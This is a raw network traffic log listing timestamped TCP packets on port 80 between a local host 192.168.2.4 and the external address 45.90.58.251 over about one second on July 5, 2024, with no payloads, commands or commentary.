Jul 5, 2024 07:48:39.981676102 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:39.981682062 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.981714964 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:39.981831074 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.027206898 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.043221951 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.043234110 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.043245077 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.043385029 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.043385029 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.043397903 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.043407917 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.043420076 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.043430090 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.043437004 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.043463945 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.043483973 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044615030 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044625044 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044636965 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044646978 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044671059 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044689894 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044751883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044770956 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044780970 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044795990 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044806004 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044815063 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044816017 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044826031 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044836998 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044842958 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044847965 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044856071 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044863939 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044873953 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044883966 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044888020 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044894934 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044902086 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044905901 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044923067 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044933081 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044934988 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.044956923 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.044971943 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.045001984 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.045012951 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.045023918 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.045034885 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.045048952 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.045073032 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.086106062 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.086138010 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.086150885 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.086186886 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.086292028 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.086303949 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.086313963 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.086327076 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.086340904 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.086355925 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.086496115 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.086512089 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.086543083 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.136548042 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.157342911 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.157387972 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.157398939 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.157536030 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.157543898 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.157546997 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.157557011 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.157578945 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.157608986 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.157727003 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.157804012 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.157847881 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.157855988 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158066988 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158107042 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.158221960 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158278942 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158288956 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158298969 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158308029 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158322096 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.158349991 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.158380985 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158423901 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.158490896 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158502102 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.158531904 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.160664082 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.160675049 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.160686016 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.160710096 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.160778046 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.160805941 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.160839081 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.160864115 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.160875082 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.160913944 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.161067963 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.161078930 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.161088943 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.161102057 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.161115885 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.161129951 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.161192894 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.161233902 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.161290884 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.161303997 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.161314011 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.161333084 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.193788052 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.193912983 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.193922997 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.193932056 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.193943024 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.193953037 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.194048882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.194096088 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.194096088 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.194185019 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.194210052 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.245940924 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.260727882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.260792017 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.260802031 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.260814905 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.260859013 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.260874987 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.280533075 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.280543089 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.280586004 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.280673981 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.280721903 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.280761003 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.280844927 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.280905008 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.280916929 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.280947924 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.280983925 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.281023026 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.281038046 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.281107903 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.281119108 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.281128883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.281152010 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.281174898 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.281232119 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.281260014 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.281271935 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.281292915 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.283226967 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.283236980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.283287048 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.283433914 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.283478975 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.283488989 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.283499956 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.283540964 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.283612967 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.283622980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.283657074 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.285547972 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285557985 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285597086 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.285671949 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285734892 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285747051 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285780907 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.285811901 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285823107 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285854101 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.285929918 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285942078 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285964966 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.285985947 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.285998106 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.286022902 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.309941053 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.309988976 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.310009003 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.310019970 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.310055017 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.310112953 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.310122967 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.310132980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.310158968 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.310195923 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.310211897 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.310235023 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.310266018 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.310273886 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.310307980 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.367470980 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.367508888 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.367521048 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.367561102 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.367621899 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.367633104 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.367667913 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.387008905 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387058973 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.387079954 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387094975 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387116909 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387125969 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.387233019 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387243986 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387255907 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387269020 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387270927 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.387293100 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.387398958 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387439013 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.387449026 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387518883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387530088 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387540102 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.387562037 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.387586117 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.389799118 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.389858961 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.389870882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.389902115 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.389944077 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.389954090 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.389990091 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.391913891 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.391957045 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.391968966 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.391980886 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.392015934 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.392025948 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.392049074 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.392082930 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.392115116 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.392126083 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.392158985 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.392174959 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.392231941 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.392244101 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.392277002 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.392294884 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.392338037 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.416405916 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.416416883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.416426897 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.416445971 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.416459084 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.416469097 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.416486025 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.416574955 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.416574955 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.416644096 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.416683912 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.473295927 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.473320007 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.473330021 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.473383904 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.473422050 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.473437071 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.473447084 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.473555088 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.473555088 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.498003960 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498014927 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498025894 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498037100 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498047113 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498056889 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498068094 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498178959 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.498178959 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.498178959 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.498605967 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498616934 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498626947 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498637915 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498648882 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498651028 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.498658895 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498671055 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498678923 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498681068 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.498688936 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498699903 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.498701096 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.498716116 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.498735905 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.499931097 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.499974012 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.501266956 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.501363039 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.501374006 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.501385927 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.501408100 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.501426935 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.501499891 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.501512051 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.501544952 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.502547026 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.502558947 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.502568960 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.502578974 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.502595901 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.502626896 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.522419930 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.522478104 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.522489071 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.522521973 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.522557974 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.522604942 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.522645950 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.522655964 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.522666931 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.522679090 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.522691965 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.522717953 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.579590082 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.579602957 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.579613924 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.579652071 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.579691887 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.579705000 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.579746008 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:40.599500895 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.599513054 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:40.599524975 CEST	80	63880	45.90.58.251	192.168.2.4
